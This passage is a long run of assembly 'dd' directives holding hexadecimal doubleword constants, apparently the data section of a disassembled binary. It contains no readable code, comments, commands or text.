		dd 0C3001419h, 9C1C4FEDh, 7E893B7Fh, 492D00D2h,	0A0562184h
		dd 0B000E679h, 9478DCEh, 2CD2DC5Eh, 0EF99B6h, 4E070E13h
		dd 757435A8h, 470056E0h, 0FEB54B8Dh, 12EA77D6h,	53C872h
		dd 4F5D34A0h, 0F100BC8Ah, 42F37C4Dh, 20D3E4h, 0FAEB6F4Ah
		dd 45545E88h, 8C570F01h, 0F3C6B7FEh, 0F5D4D0CBh, 0F1C2018Ah
		dd 452EE52Ah, 4182E8E1h, 94216200h, 0E0CDD5BFh,	0B06D67EBh
		dd 0A605A018h, 0DAF0F23Eh, 7A4E2602h, 416CED1Ah, 0DC204FF4h
		dd 34C33F11h, 0D4004A48h, 32E94C79h, 1850EC99h,	441DF0A8h
		dd 0A0E88DBCh, 0E859C41Eh, 0CC45BF41h, 199D4FF1h, 6A41C087h
		dd 0B68BA2EAh, 887C641Eh, 49FE6640h, 0DE8755h, 0B4D2A157h
		dd 83460F53h, 4000FB98h, 0D1478063h, 41B0EA8h, 6F22E40Ch
		dd 60289096h, 0D4001751h, 32DE2BFCh, 70215E2h, 9CF00181h
		dd 0BCC82075h, 10033655h, 92830EDAh, 7C9FB1F5h,	804AF4h
		dd 2950B65Dh, 12B21D32h, 3B45E820h, 82001A30h, 0A787E3B3h
		dd 0F10026E6h, 0A9929C0Ah, 78AF8Bh, 2B6C5237h, 1516A1E7h
		dd 393CDC7Bh, 7029245Eh, 7A8AD807h, 2214F6A1h, 0FAB4E8D7h
		dd 6C73009Fh, 4326CA2Eh, 4902F886h, 0CF97D9DCh,	0D77C60DAh
		dd 0D2F9098Ah, 0BC000403h, 0DBA188E1h, 4ACEA31Fh, 6EA62180h
		dd 102420h, 89D89EB1h, 0CCAFD4C2h, 6CDC7000h, 0EC735463h
		dd 30BD88F3h, 1F41F000h, 9F68F54Ch, 0AE640009h,	0B3542353h
		dd 0B70EA81Bh, 126F67A5h, 7DC31047h, 0E85620E0h, 487A00ABh
		dd 0CCB57447h, 0D607E444h, 0C16CC8B0h, 952137E0h, 5190085h
		dd 0C7B6DEA3h, 5D00E954h, 0C10A8C6Bh, 12E50BCFh, 7235E9Dh
		dd 10C7737Ch, 95D8C808h, 76E83F12h, 0E032520Fh,	0B2E62234h
		dd 0EA62006Ch, 156EAA27h, 0BF3B43F6h, 0F7100EBh, 0FCF47CCFh
		dd 141C0E12h, 0F62005DEh, 0B0AEEA55h, 20C0D0FEh, 37D853BCh
		dd 0EBBD1C84h, 6ED147FBh, 0B7FD1706h, 0E31B301Eh, 20FD2D15h
		dd 0CCE88073h, 77C62609h, 0F4020508h, 6E5CA000h, 9235483h
		dd 0E8A86265h, 7F11C700h, 35002D0Eh, 0D40D0528h, 7472EA6h
		dd 27BCAB44h, 1A1B013h,	7200E433h, 5C42211Ah, 2BFB09h
		dd 0E2B3FEEEh, 48390E4Eh, 0DD2D2600h, 8307F3C1h, 16A9F49Fh
		dd 2C6659C3h, 492D194h,	65AC9D00h, 0B3337991h, 483A0056h
		dd 0D0E68B10h, 2A19D8A0h, 7938A2B1h, 9A7EF930h,	15F15854h
		dd 0BAFF7507h, 11A590DAh, 0C9199617h, 27483857h, 1AC77180h
		dd 0D4DD9843h, 38E86CB2h, 0BCD50B26h, 0E4108600h, 9887BAh
		dd 0C171B744h, 81595CAEh, 0B2A87200h, 6391F5FEh, 48FFF610h
		dd 2613AC2Ch, 81D9008Ch, 0BF967AEFh, 80CC0748h,	789C6A64h
		dd 0D4FF00C8h, 0A988E3D5h, 130082AAh, 0CD15629Bh, 0B3B4EEh
		dd 33FF1995h, 0BC014DA6h, 0A048D80Bh, 274B0076h, 3F9007F0h
		dd 1900B33Ch, 256DE670h, 5100557Eh, 0A9A7C245h,	24F1AC4Bh
		dd 9DB3117h, 6200EB66h,	0C60BFCBDh, 753F572Eh, 8FE48800h
		dd 407AA7h, 9ADD08B5h, 0A3B9438Ch, 7E993426h, 0FFEB1F01h
		dd 0C64AF6Fh, 0C5F903Fh, 39ECF383h, 1600F149h, 57B5CA4h
		dd 0ED43085h, 0AA46473Bh, 0E0369EC0h, 6600DF5Fh, 4D55CB22h
		dd 98BF1C73h, 0A010005h, 74B726E2h, 0DF0062B6h,	0EDA49DEAh
		dd 0FBCDD3h, 4ABE3C9Ch,	2AD75F9h, 3624A316h, 1E62FC42h
		dd 20006021h, 7D9E003Ah, 7E853E58h, 87603F6Dh, 967FDAB0h
		dd 43C23379h, 92C04F11h, 3A00788Fh, 1C7B2615h, 792774h
		dd 6DB6F5D2h, 61EEF0ADh, 0DCCE25h, 84064D28h, 0C8D2F155h
		dd 19AA2D58h, 81251D62h, 0F6D1F826h, 0EB001278h, 0D4B1A5B9h
		dd 1D4BDB85h, 815E547Ah, 61404E48h, 752C40F8h, 0ACA85860h
		dd 0BC18E7D8h, 2908E02Eh, 14F65062h, 7ABE00EDh,	20101F5Dh
		dd 0C8001511h, 3AF01A5Bh, 3E23863h, 0A4F3E767h,	8DC8D29Ch
		dd 2400C507h, 9EF8A53Eh, 8A6A40h, 0C96D2106h, 0B2044433h
		dd 82D96500h, 8F952DE2h, 0BB26005Dh, 81DD35F1h,	3700E0C9h
		dd 0EC8D21FAh, 30B9E6E5h, 2490E24Eh, 1C02CB76h,	2FAA2C0Bh
		dd 0D8B04010h, 75160444h, 80CD51F0h, 4F35D1E0h,	0A4B30C00h
		dd 89ED3B2Fh, 3D47F49h,	2A28C27Ah, 32A8F144h, 1898F825h
		dd 60F65612h, 0C22F400h, 79D2348Ch, 4377006Ch, 895216B4h
		dd 24F60B51h, 0E3808A0Eh, 0ED7E8085h, 0F4282Eh,	0A506B0E5h
		dd 9E5CF63Fh, 0DCC81900h, 3ACD4CE1h, 15AF010Ah,	3FB4416Bh
		dd 237EA51Eh, 0A4C7C508h, 0E0B69582h, 3906BEF4h, 8A1D156Fh
		dd 105371h, 0AD8249A1h,	197F936Dh, 875DB400h, 856CD3FBh
		dd 3D3500A6h, 2913749Bh
		dd 0F5FEC79Ch, 34501900h, 7EE9947h, 0B17F000Ah,	0B7BF9DC8h
		dd 0CC3AF959h, 55FC8031h, 0E2D2A24Ch, 0BA6901ABh, 0F27E88D6h
		dd 0CD30253Ch, 1D90746Eh, 7CA03426h, 0C5C0859Dh, 6D4A03F0h
		dd 88F65999h, 0F1306C00h, 6B252058h, 39A90500h,	6E08E0F9h
		dd 0C28200C5h, 0F797DF7Ah, 510050BFh, 44A75CC7h, 714A5B2h
		dd 75287EFEh, 3D1B1061h, 240198ECh, 44684D06h, 0D330B550h
		dd 0B40D006Ah, 0D2123DD5h, 97F820B3h, 0C50C000h, 68117E65h
		dd 33730075h, 893DC9E3h, 8BFACDFBh, 61E80900h, 28A505B9h
		dd 40BF0017h, 0D518EB3Bh, 7B0013B4h, 0A2AB92F3h, 1AF882C3h
		dd 814A593Ah, 416F8AC0h, 73783B0Fh, 963F4014h, 0B756A2h
		dd 0F5043938h, 80E8C5BFh, 0B8B2BC00h, 49966794h, 0DDF70086h
		dd 657DC2ECh, 4DE891FDh, 0AD41E40Fh, 6469401Dh,	6FDB3Dh
		dd 4FBB5D72h, 0DCDECAC9h, 0CF704907h, 7120201Fh, 18E6217h
		dd 58160EF9h, 801C47F7h, 72F84F70h, 60208032h, 0A38F0BBh
		dd 660074B9h, 7D0FACFFh, 3A53EF4Ah, 0C13E3C93h,	6900180h
		dd 91B2A22Bh, 23517626h, 0D4091000h, 0EEFA7E1Dh, 315A0BD9h
		dd 0E8872770h, 77E1703Dh, 790352ABh, 0B50108BFh, 8F8C9892h
		dd 0BC6E07CCh, 0A0FD46F2h, 22A64AE2h, 727C8000h, 0BEA41577h
		dd 333F2682h, 5768013Eh, 405F1FC1h, 6DF372C4h, 884CC000h
		dd 50E1466h, 98EF504Dh,	94F23A93h, 1C447C79h, 80DD901Fh
		dd 0D31BADD7h, 0EB0169E7h, 0A8F6F254h, 26F87249h, 0E63000A3h
		dd 44C4ABB8h, 0F900D648h, 71A57C1Fh, 0FC15727Dh, 646C003Dh
		dd 6E7F2CB4h, 0C8001057h, 0C3B14580h, 5684C1Eh,	0BB0855Bh
		dd 0D38C1EF8h, 0C0771DC6h, 0B7A36C09h, 8CA0CB6Bh, 0B2018330h
		dd 6D7FFAFh, 0D82132C3h, 6C2345C5h, 25BD9300h, 0B364A08Ch
		dd 3A4FA600h, 91BF13EBh, 0AD50041h, 0E55A9246h,	480CFE64h
		dd 294D40F6h, 88D000Eh,	6C8E7A99h, 0C81358B7h, 3000658Fh
		dd 37AD6E2Dh, 7C71A9h, 3CE7B388h, 8F53F1D2h, 0FD1FCAE4h
		dd 52192EE6h, 25702910h, 8CEA00F3h, 0EB821F10h,	90799FF6h
		dd 47D3F3Eh, 621BC34Bh,	6CA0CFC7h, 61B0EDh, 0C97C779Eh
		dd 3AA14874h, 16F130Ch,	17A010h, 86DEBCB6h, 715309FBh
		dd 81F0E51Ch, 0B4872D00h, 3683A33h, 0D8AC9116h,	0A98DAB3h
		dd 200ACE9Bh, 0F4EDA912h, 0EEC59000h, 0EE011A3Eh, 68790182h
		dd 218FF31Bh, 0FE688061h, 0EE50E894h, 176013Dh,	0ABAF9E78h
		dd 0DFE319h, 0E261249h,	0E183771Ch, 2BD9847h, 0B13B27E0h
		dd 3AE01F6Fh, 2F14C04Eh, 93176EC6h, 0C34A0E27h,	78F8C352h
		dd 19F10188h, 0DC9195ECh, 0A920340Eh, 0EF9C1B1Fh, 9610C698h
		dd 3CB045h, 56A855ACh, 97A324D0h, 0A0E47512h, 58641801h
		dd 4CB23162h, 70A2C358h, 1F009A11h, 0FB5135Eh, 0A5C9B6CBh
		dd 0F0FC2C92h, 0FC7D7C00h, 48CCBC72h, 4A3800D1h, 8AD8EBC7h
		dd 0B0005FA3h, 6A3A4CDFh, 13520BCBh, 0D39739h, 9A7CBA46h
		dd 16002C1Dh, 21A0244Fh, 30A3F0B7h, 0AC284E87h,	0E4004712h
		dd 6F82F610h, 0CC7194h,	261F5F1Ah, 2A544961h, 7CFE9218h
		dd 5C60A202h, 0A001457h, 1BAAFA1h, 4503927Ah, 50434D64h
		dd 8B19E0C6h, 0C379007Dh, 477F2A07h, 1200A058h,	67DE1CB3h
		dd 0FC012Fh, 9ED89A23h,	0C6297A76h, 0CF719B00h,	0BF062CF9h
		dd 0B4C801B3h, 1F7CA8FAh, 8620F047h, 0D48D3803h, 0D88F6B69h
		dd 7867BBh, 18A07154h, 20CCB847h, 215BB4A0h, 8742703Fh
		dd 5E74508Ch, 6E63BB10h, 0E503002Ch, 0CD346798h, 0B0033643h
		dd 39ECC72Ah, 1D20E0F6h, 3FEAD7h, 30223B8Bh, 0AFF024C2h
		dd 5D113500h, 0DA41325h, 0F7261F47h, 0F82000E7h, 0D20ED5FBh
		dd 0BC0B4C7Eh, 73A32FCh, 0ECE06BD7h, 932D33h, 4A73222Ah
		dd 269BA779h, 49D93Dh, 4ECAC1F0h, 2CB569h, 0B64F1CBh, 0ED70DF23h
		dd 5F523F00h, 5DA42D6h,	0E3C0EBCFh, 7FAF82Ch, 0A154F06Eh
		dd 602BB773h, 69C755ABh, 31B02501h, 770C87E7h, 58C2FC30h
		dd 49009084h, 0E17D3D0Dh, 0F2000B10h, 19895EFDh, 348B0BCh
		dd 0CF943495h, 6BB8DBDEh, 0C00A8C3h, 0C116713Ch, 1CC79909h
		dd 4AAFBF27h, 0AA4F17h,	0BBB21C9h, 623DAA91h, 0F67161FCh
		dd 29F4E35Bh, 0CE802A6h, 0F96C58F4h, 60FC1081h,	62B824E3h
		dd 0DE212B07h, 0B947CB65h, 49FDE641h, 0F56C1043h, 8EFA1C00h
		dd 74F40EC0h, 0BE170096h, 3E95DBD0h, 0F8006DAFh, 2E6BE932h
		dd 6664F4h, 200721C3h, 0D30A953Bh, 0C0F550C0h, 0E886F626h
		dd 0B78B00C6h, 6F72AFFFh, 2C30758Eh, 0FA9E18DEh, 0FC3A00A2h
		dd 4FD3E408h, 0BF00D6ACh, 0B9FEA631h, 592ECD1Fh, 4109AC3Bh
		dd 0F420863Fh, 891B30F3h, 262413F8h, 14204987h,	0C07BD900h
		dd 67B2C455h, 88FB017Fh, 0A532773Fh, 4340DCCAh,	0C4218707h
		dd 8CA0531Dh, 0F311E89h, 205A9D56h, 998E8AA0h, 0BE1C8BD3h
		dd 0C0437F0Dh, 0A08071A0h, 63F1EAh, 602E1253h, 9CEE1C10h
		dd 24E34E00h, 0D91AB01Eh, 0A88960C8h, 0F1A998D2h, 77B1073Dh
		dd 0B501D4F4h, 8809721Eh, 0A2702F16h, 0E9AC0077h, 2A8EC34Dh
		dd 9800292Dh, 550C0E4Ch, 0A0851Ch, 86723A77h, 2B4D0AFh
		dd 7168A400h, 30EA3D58h, 7CD400F7h, 9AF538F8h, 5100B31Bh
		dd 0C0E38E4Bh, 0B81D5D19h, 0D1BC00B7h, 0FC9B1E04h, 0E5000B99h
		dd 0ACFCAA0h, 0F658C1B0h, 0E2F00014h, 0B9BE776Eh, 84139B3Ah
		dd 8C07B451h, 0BF2A379h, 94FEE089h, 0C7283FCAh,	33B03D80h
		dd 91F585BAh, 55C4E100h, 0BC95AAF8h, 0B8AC03A6h, 24991154h
		dd 0C0783Ah, 23C18E45h,	5092A5Eh, 93FDAAE4h, 2936C392h
		dd 2C9A94B0h, 726E0500h, 0BA58DDDEh, 8EE0Eh, 0DF2428ACh
		dd 374677A6h, 0A7F05006h, 8811DCh, 95F6BA5Ah, 19807327h
		dd 0CDEBBB00h, 10887FC0h, 478D004Dh, 0A67CFAE7h, 0F3193FEFh
		dd 123872DCh, 61B74080h, 732F9E6Bh, 0BC3C100h, 7039E029h
		dd 1E2300D8h, 918B1B83h, 0AD260C2Eh, 2003250h, 0B778D11Ch
		dd 69E90399h, 0B6E61E7Eh, 2D9ABD98h, 0D7DD3500h, 0AC2A58B9h
		dd 51ED0F8Bh, 5E409B73h, 0A10E5B8h, 54C6B303h, 0C0F15B06h
		dd 0C033C250h, 8ED0DF90h, 11C05F29h, 491F563Eh,	75C600DEh
		dd 9BD2C01Dh, 1E067BCDh, 0C387F196h, 1F004A0h, 0A8E55560h
		dd 62E10025h, 313997EFh, 73523E5Eh, 0FD9021B0h,	7A0A0512h
		dd 0F49DD7D6h, 1CB7A703h, 0E0BE14h, 3C9901F4h, 9C75AB55h
		dd 95820A50h, 9AB3E92Ch, 0FD622900h, 178598h, 0C1087134h
		dd 0F2F8DC53h, 0EC0251C0h, 3C5645h, 2BE3B14Ch, 0AB2ACC66h
		dd 6311891Eh, 1B0723C0h, 0BA289Eh, 6525746Fh, 2A44165Ch
		dd 5AF0982Ch, 617F500h,	3A601Eh, 680E8F9Fh, 5A7B88D3h
		dd 7D84CC0Ch, 9A71DAh, 0A4A78D82h, 1D1FAC26h, 0E8F97407h
		dd 3550F8FCh, 7DD1636Fh, 0ECA80092h, 0F2435EF1h, 4F0045B0h
		dd 7DB52421h, 38E02A9h,	0C5FDC770h, 0EBF836D4h,	0B4A34A6Ah
		dd 42BC2F90h, 2D1C1F1Dh, 805E580Eh, 0A8FE59DCh,	6C8B4CE1h
		dd 0B37C2C05h, 3D504815h, 0CF41DE63h, 0F0718EB3h, 3D8101E9h
		dd 0F4510DD7h, 0DFBD30h, 0D86F224Eh, 0BF2C6C33h, 0E486BE00h
		dd 0C3CCFE4Ch, 0A41D00ECh, 9D29E85h, 6D00F094h,	0B705573Ch
		dd 0B3EF18h, 0C4A9C856h, 0E53F3508h, 0C0419C30h, 82B6EE54h
		dd 5AA391CBh, 0E781CBA1h, 8C52B839h, 0B09E18C3h, 0CFC51CD8h
		dd 46B1C1FCh, 0F0784B7Fh, 8600763Ah, 87AF83CAh,	406DE0h
		dd 9502F8F1h
		dd 0E6AA3FBBh, 8100FB7Fh, 39138806h, 82C3Ah, 75BD17A1h
		dd 58442B8h, 20F0FA60h,	2E865A16h, 0B1F99Dh, 0E2E93B09h
		dd 683B8AABh, 4156099Ah, 0EBAC001Fh, 5429E570h,	73F8FBh
		dd 0FE8757E8h, 2D02F18Bh, 0CFE05B00h, 8446444Ah, 0E9C50548h
		dd 80590708h, 0F403ACD5h, 31006E78h, 6D5D8B90h,	0B016CB42h
		dd 717703FFh, 725A286Ch, 205BD5C9h, 67134D44h, 2B00E864h
		dd 0E49AF07Fh, 5C3A01EBh, 440F500Ch, 0A09EC8FEh, 0C688F91Fh
		dd 2A186F58h, 34EC004Dh, 4B604143h, 900765Fh, 0F1B95CE8h
		dd 0ABCF70h, 56BF3C20h,	0C084F9DAh, 0D9E88EE4h,	0D198BD00h
		dd 1D0F3A69h, 4746005Fh, 0B8F8E5A6h, 88A85B1Fh,	0FB006624h
		dd 6A528476h, 720F89h, 59D515A4h, 3E10AA79h, 0CAEB0400h
		dd 3A97E16h, 47980F09h,	0C0BCEA1Ah, 0DF5BAD07h,	0BD18F258h
		dd 0C3B8DCDAh, 0DDF882h, 1BF3B160h, 5120E18Eh, 0A5617500h
		dd 0D61CAE73h, 466A33E8h, 50D75619h, 80D20459h,	12C9C600h
		dd 0A957D617h, 0FD4101B5h, 0F299F5FEh, 451F302Dh, 0B83BA700h
		dd 0C55578Bh, 3E9C5846h, 1B535400h, 2978FCF6h, 0C417950Eh
		dd 0E711C00Fh, 25D4410h, 4CF87A9h, 70688F7Eh, 66EAFD2Ch
		dd 816CC100h, 72ADC31Bh, 41092D3h, 55B6515Bh, 1C689052h
		dd 0BBA04C03h, 1B7111A8h, 1E906C00h, 7D54E9B6h,	315B0019h
		dd 0EF84D230h, 0CF1DDB36h, 4D1F8768h, 0E32C7298h, 78D430FAh
		dd 304A6C50h, 6BB6B100h, 3E811DD1h, 0B03F4897h,	109E62Ch
		dd 0BDA70153h, 67342494h, 88B7AE2Ah, 4F545B01h,	0D39D9E5Fh
		dd 0C0006361h, 0B3E88Ah, 0D83E4031h, 0DBCB10A4h, 75FA580Ah
		dd 0A600B84Eh, 0EEDEB97Eh, 22490740h, 0F04B9E1Dh, 628A92FEh
		dd 6CCE5E00h, 0C6C28D29h, 68E40067h, 853516E5h,	716039DBh
		dd 4F80E268h, 0CD23073Eh, 3065C612h, 0D72EAD18h, 6F774C00h
		dd 7029964Eh, 0C3C707FFh, 5793D573h, 0FE3ECF62h, 9D202E00h
		dd 865E3B3h, 1D3EC94Ch,	938087F0h, 37950AD5h, 0D47CFEh
		dd 382EA2B1h, 17C3E9E1h, 757D0513h, 0ED75B0h, 557AB60Dh
		dd 0AEADFFDAh, 0EC007771h, 0B86AA882h, 9CF2BEh,	8CCBC2D4h
		dd 929D36BAh, 0D8299000h, 1DC6A5ABh, 0D405031Fh, 0F1B114A7h
		dd 0E0FA008Dh, 46698D63h, 174F8300h, 7234ED4Dh,	20620054h
		dd 1380FCD3h, 0FE005F1Ah, 5787EC4h, 26E64F07h, 83699Eh
		dd 0B04616C1h, 0CD3AF521h, 0EC1112DBh, 8C1397ACh, 0EEA440E6h
		dd 98BCF50Ah, 465D2F07h, 0E4F0AA63h, 9A84DD7h, 5B15C2ABh
		dd 10862300h, 3A12F139h, 0E000C5DDh, 0D14E9BFFh, 2C7D2Fh
		dd 0F0AFD543h, 4F90BDADh, 0B52424F7h, 66B92D00h, 0F9C85ED2h
		dd 0A9960C1Ah, 5D20F75Fh, 0A6FE1706h, 78111519h, 0B9DB00BFh
		dd 172C92Fh, 43031C4Fh,	0E09F096Dh, 1BC1E0BEh, 16A83359h
		dd 8DE1D830h, 0A1389C5Eh, 35123C68h, 0B4405B26h, 0CB1AC9CAh
		dd 0B3DD0060h, 0ADF67B6Eh, 0A654A227h, 98840718h, 960F193Fh
		dd 0E09138C2h, 15036C4h, 0A41DDC10h, 177DC32Fh,	69032903h
		dd 0B832BBDEh, 77B4C06h, 490D6C4Dh, 20C0BFE3h, 0E4BBCC6h
		dd 2AB54000h, 6975AF8Ah, 0B4B11E64h, 420F80FAh,	0CFCB08A3h
		dd 0DE3C5300h, 221B1258h, 84AA00E4h, 4F872EB3h,	18006906h
		dd 66E7DE2Dh, 7B0427h, 17CC8DA0h, 0B4DC9158h, 0D4EF7617h
		dd 0AA7A9100h, 7C42C8h,	4CC5B23Dh, 145C34D2h, 69A66500h
		dd 25A25F22h, 30E6007Ah, 1B80C5C9h, 3F044D47h, 0E729ADB7h
		dd 2061490h, 0FE5CEC07h, 645A18FEh, 0BBAE086Fh,	0A2120C0h
		dd 4AA507h, 76C1752Dh, 50C29091h, 5BF13201h, 5AC4C7E3h
		dd 4FADA050h, 8681EC3h,	5C588061h, 21A78AE3h, 4254E605h
		dd 54D7BD91h, 1A981681h, 0CAE2C20h, 9E35E17Dh, 21C0C108h
		dd 7C1A90FCh, 0DC6600ADh, 0F5B9D201h, 3C03EEE8h, 3C69514h
		dd 63B7ABDEh, 401F81D8h, 7090ACC2h, 85110759h, 0B2885F5Bh
		dd 7012480h, 28B2Ch, 0C45909Fh,	0B7E9809Bh, 0AFF18D00h
		dd 8A575CBCh, 7855284Ah, 0EDCF08A8h, 0BB401624h, 0C01C80CDh
		dd 2F7B5E10h, 0EB001A2Bh, 0D3E994EDh, 0E8E0A960h, 417081h
		dd 95700DF6h, 9E77216Fh, 79CEF48h, 0F9424927h, 3FED2F70h
		dd 68EC00C0h, 2C37D4D6h, 220B169Ah, 802B38E0h, 4CFA28E7h
		dd 27040E76h, 0AE401EF9h, 0D0162FC9h, 854A6502h, 0FF6758F1h
		dd 748F8302h, 0BD47E640h, 3545230Eh, 0DBE360DDh, 3982644Ah
		dd 24806E02h, 0BC4C5314h, 0EB00E2B6h, 1AE1BE5Eh, 3EDCB9h
		dd 0AFF9A827h, 11123765h, 0BE3D4Ch, 0F0268BA5h,	0B34368h
		dd 62B2D427h, 0A19CC9EEh, 96E77F00h, 1881A5BEh,	0F00C0336h
		dd 73230BFDh, 0A2C5FA00h, 0CD48E1BDh, 0FB120086h, 171C2964h
		dd 0BE1C503Fh, 0B2805C55h, 7AAA3109h, 2E71FC20h, 37FCA56h
		dd 7E6879D5h, 95D293D8h, 0E3730B0Eh, 0AF9C27BAh, 0CFB008A7h
		dd 0F91BA6h, 0C4B71666h, 680CEEB8h, 6DC3D300h, 38F17BF6h
		dd 70783DDBh, 107AA298h, 86004AEFh, 2E62EAE6h, 4DC46F2h
		dd 0AE3212A0h, 0EAC0AA47h, 0F6B20949h, 73D12892h, 45940EC4h
		dd 41032452h, 0E0005D53h, 0D68456F3h, 0C46036Eh, 8F1B5457h
		dd 0BE6EE30h, 28595B30h, 1C22759Ah, 3EB6C6C1h, 0BEA03C80h
		dd 8816BDA9h, 15005B74h, 1232FB3Fh, 1F9452h, 849A7538h
		dd 0EAE3CF19h, 0C52E6907h, 0EF7B1C6h, 59C19530h, 9EF7144Dh
		dd 5B0F8D06h, 6820E8B6h, 5D840D7Bh, 0A3A01E00h,	133120FFh
		dd 0D075BBh, 8B80EB03h,	0F2BA9972h, 283F0900h, 0B6B56B1Ah
		dd 9DAD000Fh, 9F6C7F0Ah, 5828902Ch, 0E122846Eh,	345F825h
		dd 0CF151E50h, 7DF8178Fh, 0D8FB6A9Dh, 4D00AFCEh, 0E0D6EFBCh
		dd 1FFD5C28h, 4064433Eh, 747AC0DEh, 0D20311CFh,	470A0741h
		dd 76C790B1h, 6A830061h, 0E0B0D7E8h, 0E43FD317h, 289C007Fh
		dd 0C1673AA5h, 95A0222h, 26B5DFEBh, 0C048B480h,	0C5020217h
		dd 3DB2E561h, 0BDB88099h, 0F050AF91h, 0B0D162F6h, 0A660D823h
		dd 5900EE92h, 5A204EBh,	2AC56EDFh, 0EE883D0h, 8D0B36DBh
		dd 0A8C14C60h, 8C004E44h, 95EFF1C3h, 0C8A2F8h, 8E3AD960h
		dd 0A925308h, 4C855706h, 0D0D2BDh, 70ABD535h, 0AD9901D6h
		dd 45329E00h, 408F2755h, 685E6025h, 10ACFBF4h, 63695600h
		dd 133447CAh, 338D03F5h, 8331700Ch, 5C847B5h, 991B51D2h
		dd 7446DCB2h, 888DFB80h, 5905294Dh, 4BC85C6Ah, 32E7AC80h
		dd 41466310h, 6890A7C6h, 0C0607E0h, 3EEFBFD2h, 79E600F1h
		dd 0F399607Eh, 2403851Fh, 58E7AB08h, 17BB003h, 0B867h
		dd 41ACC68Dh, 735733CEh, 9303FF00h, 0A7FCA074h,	0E9130001h
		dd 3BC5AE95h, 0E39D2DAh, 210F003Ah, 9F99C75Ah, 805D3F51h
		dd 1DF024h, 815E7762h, 0CF050F28h, 0DD4A9D32h, 0E520D680h
		dd 0EDA20011h, 426C6B5Eh, 0D900BEB2h, 60E438ACh, 88F7C7h
		dd 0BAF8103Ch, 2ECF64A4h, 0DA585400h, 0AAD5E5FAh, 6FDF001Fh
		dd 8AF94965h, 0C9EEE7FCh, 23323714h, 0B80301F5h, 0EE55F28Eh
		dd 1AA5C4h, 175CD99Bh, 2ACB86DCh, 0FED2E500h, 0E965EB70h
		dd 21DF2429h, 387F0038h, 0FDB51F0Bh, 96CDC02h, 0F004A7ABh
		dd 0BBC30019h, 827E118Fh, 0E800E090h, 72143443h, 92B1395Ch
		dd 87EA00C0h, 18AF078Ah, 0B300D2FEh, 8B63E2A4h,	3BF0E0F1h
		dd 0E680715Eh, 171E5C38h, 4500C0A1h, 3B52FAFFh,	0A0B44869h
		dd 0F658FFCh, 0A635D158h, 54858820h, 0E300AB30h, 0F54695D0h
		dd 7AD104Ch, 0DAB26077h
		dd 0C0DE17BCh, 56F1F737h, 16AD75Ch, 0A0917FD8h,	0A48012A5h
		dd 2AC59DDBh, 3E3111A8h, 0B4FD4AFCh, 13C41980h,	2A52AAC0h
		dd 3B9E804h, 44819372h,	23D044EFh, 7F849268h, 0C0A9018Fh
		dd 58E68A1Ch, 15C4C43Dh, 2F101270h, 0A6005DFFh,	0BF7DBEB9h
		dd 0D77D977Fh, 0D6F84350h, 1476AD00h, 55533864h, 0B77E03h
		dd 0A9C1D8ACh, 0D76DCB42h, 0C8185664h, 84C9B380h, 0D422129Ah
		dd 6FCC0071h, 0FBA1B2E7h, 0CCFAAE00h, 7CC66CEEh, 415D00D9h
		dd 6A581DE8h, 0DB1445D6h, 39A8C35Eh, 0B6DC0376h, 0F0E8E112h
		dd 3974F5B0h, 0DE168A83h, 7CC007CCh, 0E825604Bh, 21E93E02h
		dd 6E5C3054h, 24006498h, 0B8A1FF4h, 5FFC0Ch, 9A267286h
		dd 77366AC0h, 0BC96583Ch, 80EB3CD7h, 5E476B17h,	0B71E69h
		dd 0D69B8F2Eh, 0E77CDF73h, 40D5A100h, 250B6553h, 39241229h
		dd 0A75F00CFh, 0A4BFB6E0h, 0C48039h, 843E59EBh,	9B941A9h
		dd 9045618Eh, 9F168080h, 0A039D81Ch, 0FA7A009Bh, 0C42742B9h
		dd 39F10449h, 0AF6835C1h, 71B9C00h, 3A9AE1A8h, 54008B0Fh
		dd 0AEDE729Fh, 2A2E7792h, 8E00B4AAh, 0E7744ECBh, 66540046h
		dd 8489EBFDh, 0E009336Eh, 78EF198h, 0EFB09F08h,	1364255h
		dd 26E8A9EDh, 0DC33566Fh, 6500C383h, 1E38DEB5h,	1A3F59Ah
		dd 1829BD8Ch, 0F4D48179h, 99004847h, 4669B04Eh,	1F1A9DB9h
		dd 0C00C3A78h, 3FB6B30h, 0C50E60FEh, 7B849F0h, 0E41A390Eh
		dd 0F8B57300h, 92892h, 590F3E43h, 0A11FA313h, 0D5172C02h
		dd 6892DB7Fh, 187D14A0h, 2037A038h, 0C6E88799h,	0FA5874E8h
		dd 9E84DDBh, 207FFCA2h,	42E0F4BCh, 238205EBh, 0C244E443h
		dd 15C079AFh, 7FEA6FE1h, 6E26B600h, 0D44E65E5h,	70A20032h
		dd 0B458C50Ch, 70C99FAh, 183413A6h, 0ED483F2Eh,	877C8280h
		dd 0A3DDCB16h, 0B77F6F00h, 38F8B342h, 6D930143h, 8292FAB6h
		dd 7BCDE003h, 627A91C0h, 2519199h, 6DB31242h, 708AE180h
		dd 2E5902B8h, 90903F0Fh, 0CE019197h, 6D6F4172h,	4A307418h
		dd 51C60094h, 0B1A7A247h, 3707014Ch, 648C5224h,	805BD792h
		dd 0E64A10E5h, 2F6F1FDBh, 815200CCh, 0AD4F2C1h,	62472A00h
		dd 0EBE13BB5h, 0CFFF010Fh, 6FF1D356h, 0AA347036h, 1ECCE83Eh
		dd 0EF007813h, 5B6C166h, 381D3E80h, 886200FFh, 9A6F7BC8h
		dd 98799614h, 0EE351600h, 2B27FC66h, 34EB0052h,	8A1DA42Ch
		dd 0A2003069h, 1753B3FFh, 0C03B8309h, 1DF62B98h, 51006C76h
		dd 59AB60Bh, 292FBD1h, 0EB627EF7h, 0F0A977E2h, 81581283h
		dd 0A2A151D7h, 1CA4298Ch, 4D48E244h, 24CB0E5Ch,	4E93A6C0h
		dd 3600DCE9h, 59E37FA9h, 78052A8Bh, 1B573EF4h, 1085EF80h
		dd 4D5E0755h, 39B7C72Ch, 2DB9003Eh, 6082A150h, 0A2D3001Dh
		dd 9CAD270Ah, 0F200A6CCh, 34CE38F1h, 80E307h, 6C090484h
		dd 0AF8778Fh, 0EE0074B8h, 0B0663775h, 0EE055B96h, 6E9860E1h
		dd 1281F278h, 6AC23D00h, 1457168Bh, 47CB04B6h, 822B1C04h
		dd 80E03C52h, 0AD00395Eh, 0DDE48142h, 0A0741D7Bh, 37E57D1h
		dd 0BE3D6EF2h, 84FAA90Ch, 0F3B7E863h, 80B8C12Ah, 0A20CA6F9h
		dd 0B0E330C6h, 0D2E00B0h, 575C9F3Fh, 670CC1DEh,	2121D208h
		dd 55EA05CCh, 0C1490F60h, 13A12CE0h, 8D51B0EEh,	0B1582E41h
